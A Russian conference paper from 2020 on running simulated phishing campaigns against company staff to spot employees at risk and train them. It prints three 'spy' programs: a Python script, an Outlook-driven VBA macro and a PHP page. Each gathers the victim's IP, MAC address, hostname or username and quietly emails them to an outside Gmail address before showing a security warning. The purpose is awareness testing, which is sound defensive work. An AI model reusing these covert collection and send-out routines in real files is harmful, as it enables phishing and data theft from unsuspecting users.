УДК 004.514.6

<https://doi.org/10.36906/AP-2020/26>

ИМИТАЦИЯ ФИШИНГОВЫХ АТАК С ЦЕЛЬЮ ВЫЯВЛЕНИЯ УЯЗВИМОСТЕЙ В СИСТЕМЕ ИНФОРМАЦИОННОЙ БЕЗОПАСНОСТИ

Валеев Д. Р.*Нижневартровский государственный университет**г. Нижневартовск, Россия***Казиахмедов Т. Б.***канд. пед. наук**Нижневартровский государственный университет**г. Нижневартовск, Россия*

Аннотация. Целью проведения исследования является разработка информационной системы для выявления из общей генеральной совокупности пользователей выборки, имеющей низкую осведомленность в области информационной безопасности и являющейся потенциальной уязвимостью при проведении фишинговых атак. В ходе проведения исследовательской работы рассмотрены наиболее часто применяемые методы и способы проведения фишинга. Спроектирована и разработана система выявления и идентификации пользователей, относящихся к группе риска при проведении фишинговой атаки. Проектирование программного обеспечения выполнено на универсальном языке проектирования программного обеспечения UML. Разработка программного обеспечения выполнена на языках программирования VBA, Python, PHP и JavaScript.

Ключевые слова: фишинг; информационная безопасность; защита информации.

Фишингом называют совокупность методов интернет-мошенничества, основной целью которых является получение идентификационных данных пользователя информационной системы. Как правило фишинг представляет собой массовую рассылку электронных писем, содержащих ложную информацию от имени банков, социальных сетей, платежных или почтовых сервисов. Данные письма полностью имитируют оригинальные сообщения компаний, содержат фирменные логотипы и иные отличительные черты. В подобных сообщениях находится URL ссылка на информационную систему, содержащую форму ввода, где под различными предлогами предлагается ввести конфиденциальные данные.

Фишинг может быть направлен как на физические лица, так и на частные корпорации и компании. Целью фишинговой атаки на частное лицо является получение доступа к логинам, паролям и номерам счетов пользователей банковских и платежных систем, соцсетей или почтовых сервисов. Цель атаки на корпоративные системы заключается в краже внутренних данных отдельного сотрудника для последующей расширенной атаки на компанию, путем внедрения в КИС вредоносного программного обеспечения [1, с. 12].

Наиболее частые жертвы фишинга — банки, электронные платежные системы, аукционы.

Объем фишинговых атак продолжает неукоснительно расти, об этом свидетельствуют исследования компаний, занимающихся обеспечением информационной безопасности:

- Исследование Microsoft подтвердило, что за 2018 год число фишинговых атак выросло на 350%. <https://clck.ru/T58yD>;

- «Лаборатория Касперского» информирует: количество фишинговых атак в 2020 г. на пользователей онлайн-магазинов увеличилось в два раза. <https://clck.ru/T58zi>;

- Сбербанк: ежедневно получает по 3 тысячи писем с вирусами и фишингом. <https://clck.ru/GjTKb>.

Рост количества фишинговых атак обусловлен сокращением технических уязвимостей в используемых информационных системах. Постоянным совершенствованием антивирусного ПО и средств защиты информации.

Основной уязвимостью для фишинга в информационной системе человек-машина-интерфейс является психология пользователя. Злоумышленники активно используют методы социальной инженерии, пытаясь использовать следующие слабости пользователей [2, с. 15]:

- невежество и глупость;
- алчность и жадность;
- любопытство;
- жалость;
- страх.

Целью проводимого исследования является разработка информационной системы, позволяющей производить фишинговые атаки для выявления из общей генеральной совокупности пользователей выборки наиболее подверженных фишингу сотрудников предприятия, для дальнейшего обучения основам информационной безопасности и снижения рисков возникновения уязвимостей.

Для совершенствования системы информационной безопасности предложен следующий алгоритм борьбы с фишинговыми атаками:

1. Предварительная рассылка информационных писем, содержащих краткую памятку по информационной безопасности и защите от фишинга. Пример информационного письма представлен на рисунке 1.

2. Проведение собственной фишинговой атаки с использованием технологий социальной инженерии, вирусного ПО и программ шпионов для выявления пользователей, входящих в группу риска.

Рис. 1. Пример информационной рассылки

В процессе фишинговой атаки предполагается использование различных способов воздействия на сознание сотрудников в письмах для определения наиболее проблемных зон.

В ходе фишинга предполагается получить следующую информацию:

- IP-адрес рабочей станции;
- MAC-адрес рабочей станции;
- Имя пользователя рабочей станции;
- Имя рабочей станции.

Предполагается использование различных технологий для фишинга, с целью выявить наиболее опасную:

- открытие запрещенной ссылки;
- заполнение формы ввода из ненадежного источника;
- открытие файла .exe;
- открытие и запуск макроса из ненадежного файла в формате .xlsm;
- открытие файла, имеющего нестандартное разрешение (например .py).

Исходный код разработанных в ходе реализации проекта программ шпионов представлен на рисунках 2-4.

```

1 import socket
2 from email.mime.multipart import MIMEMultipart
3 from email.mime.text import MIMEText
4 import os
5 import smtplib
6 from getmac import get_mac_address
7
8 print("Название")
9 print("Не открывайте ссылки, указанные в сомнительном письме, в котором Вас просят указать конфиденциальные данные. Не звоните по телефонам, указанным в подобных письмах, и не отвечайте на них.")
10 print("Не открывайте приложения к письмам от неизвестных отправителей, так как в них могут быть вирусы (вредоносное программное обеспечение), способные украсть Ваши идентификационные данные.")
11
12 # Функция для формирования тела письма
13 msg = MIMEMultipart()
14
15 # Получаем необходимые данные о пользователе
16 ip = socket.gethostname(socket.getfqdn())
17 mac = str(get_mac_address(ip))
18 hostname = socket.gethostname()
19 username = os.environ.get("USERNAME")
20
21 # Создаем необходимые переменные для отправки письма и передаем их функции MIMEMultipart()
22 message = "ip пользователя: " + ip + "mac-адрес пользователя: " + mac + "Имя компьютера: " + hostname + "Имя пользователя: " + username
23 password = "drvaleev2@gmail.com"
24 msg['from'] = "drvaleev2@gmail.com"
25 msg['to'] = "drvaleev2@gmail.com"
26 msg['subject'] = "Открыт запрещенный файл .py"
27 msg.attach(MIMEText(message, 'plain'))
28
29 # Отправляем письмо
30 server = smtplib.SMTP('smtp.gmail.com:587')
31 server.starttls()
32 server.login(msg['from'], password)
33 server.sendmail(msg['from'], msg['to'], msg.as_string())
34
35 input("Нажмите Enter для выхода")
36 server.quit()

```

Рис. 2. Программа шпион Python

```

Sub macip()
'Получаем необходимые данные и помещаем их в переменные
On Error Resume Next
Dim strComputer, uname As String
uname = Environ("USERNAME")
strComputer = Environ("COMPUTERNAME")
Dim objWMIService As Object
Dim colItems, objItem, ipaddr, macaddr
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colItems = objWMIService.ExecQuery _
("Select * From Win32_NetworkAdapterConfiguration Where IPEnabled = True")
For Each objItem In colItems
ipaddr = objItem.IPAddress(0)
macaddr = objItem.MACAddress(0)
Next
'Отправляем email посредством фонового открытия Outlook
Dim OutApp As Object
Dim OutMail As Object
Dim cell As Range
Application.ScreenUpdating = False
Set OutApp = CreateObject("Outlook.Application")
OutApp.Session.Logon
On Error GoTo cleanup
Set OutMail = OutApp.CreateItem(0)
On Error Resume Next
With OutMail
.To = "drvaleev2@gmail.com"
.Subject = "Открыт запрещенный файл .xlsm"
.Body = "ip адрес: " + ipaddr + vbNewLine + "mac адрес: " + macaddr + vbNewLine + "Имя компьютера: "
.Send
End With
On Error GoTo 0
Set OutMail = Nothing
cleanup:
Set OutApp = Nothing
Application.ScreenUpdating = True
MsgBox "Не открывайте ссылки, указанные в сомнительном письме, в котором Вас просят указать конфиденциальную информацию."
End Sub

```

Рис. 3. Программа шпион VBA

```
1 <?php
2 class Index extends Controller
3 {
4     protected function action_index()
5     {
6         $massiv=[];
7         $mail = new PHPMailer;
8         $mail->isSMTP();
9         $mail->Host = 'smtp.gmail.com';
10        $mail->SMTPAuth = true;
11        $mail->Username = 'drvaleev2@gmail.com';
12        $mail->Password = '*****';
13        $mail->SMTPSecure = 'tls';
14        $mail->Port = 587;
15        $mail->setFrom('drvaleev2@gmail.com');
16        $mail->addAddress('drvaleev2@gmail.com');
17        $mail->isHTML(true);
18        $mail->CharSet = 'UTF-8';
19        $mail->Encoding = 'base64';
20        $mail->Subject = 'Открыта запрещенная ссылка'; // Заголовок письма
21        $mail->Body = 'ip адрес: '.$_SERVER['REMOTE_ADDR']; // Текст письма
22        $mail->send();
23        $massiv['title']="Запрещенная страница";
24        $massiv['content']="<div class='container'><center><h1>Внимание</h1></center><p>рне открывайте ссылки, указанные в сомнительном письме, в котором Вас просят указать
25        конфиденциальные данные. не звоните по телефону, указанный в подобных письмах, и не
26        отвечайте на них. </p><p>рне открывайте приложения к письмам от незнакомых отправителей, так как в них могут
27        быть вирусы (вредоносное программное обеспечение), способные украсть Ваши
28        идентификационные данные.</p></div>";
29        return $massiv;
30    }
31 }
```

Рис. 4. Программа шпион php

3. Для пользователей, чьи учетные данные будут получены в ходе проведения фишинговой атаки, предполагается проведение обучения по материалам разработанного в ходе написания исследовательской работы курса по основам информационной безопасности, содержащего следующие темы:

- введение в основы информационной безопасности;
- теория фишинга;
- социальная инженерия;
- основы проведения кибератак;
- способы защиты от фишинга и киберугроз;

4. Анализ полученных данных и выявление закономерностей. В связи с тем, что идентификация сотрудников, подверженных фишинговым атакам, является проблемой черного ящика, для выявления неявных связей между характеристиками, описывающими пользователя информационной системы и предрасположенность к группе риска фишинга, предполагается использовать методы машинного обучения:

- генетических алгоритмов;
- логической регрессии;
- деревьев решений;
- кластерного анализа данных;
- случайного леса;
- градиентного бустинга;
- искусственных нейронных сетей.

Выбор оптимального метода анализа данных для дальнейшего использования при определении наиболее подверженных фишингу пользователей предполагается провести на основе расчета метрик для каждой модели [3, с. 36].

Литература

1. Баранова Е. К., Бабаш А. В. Информационная безопасность и защита информации. М.: Риор, 2018. 400 с.
2. Бирюков А. А. Информационная безопасность: защита и нападение. М.: ДМК Пресс, 2013. 474 с.
3. Себастьян Рашка. Python и машинное обучение. М.: ДМК Пресс, 2017. 614 с.

©Валеев Д. Р., Казиахмедов Т. Б., 2020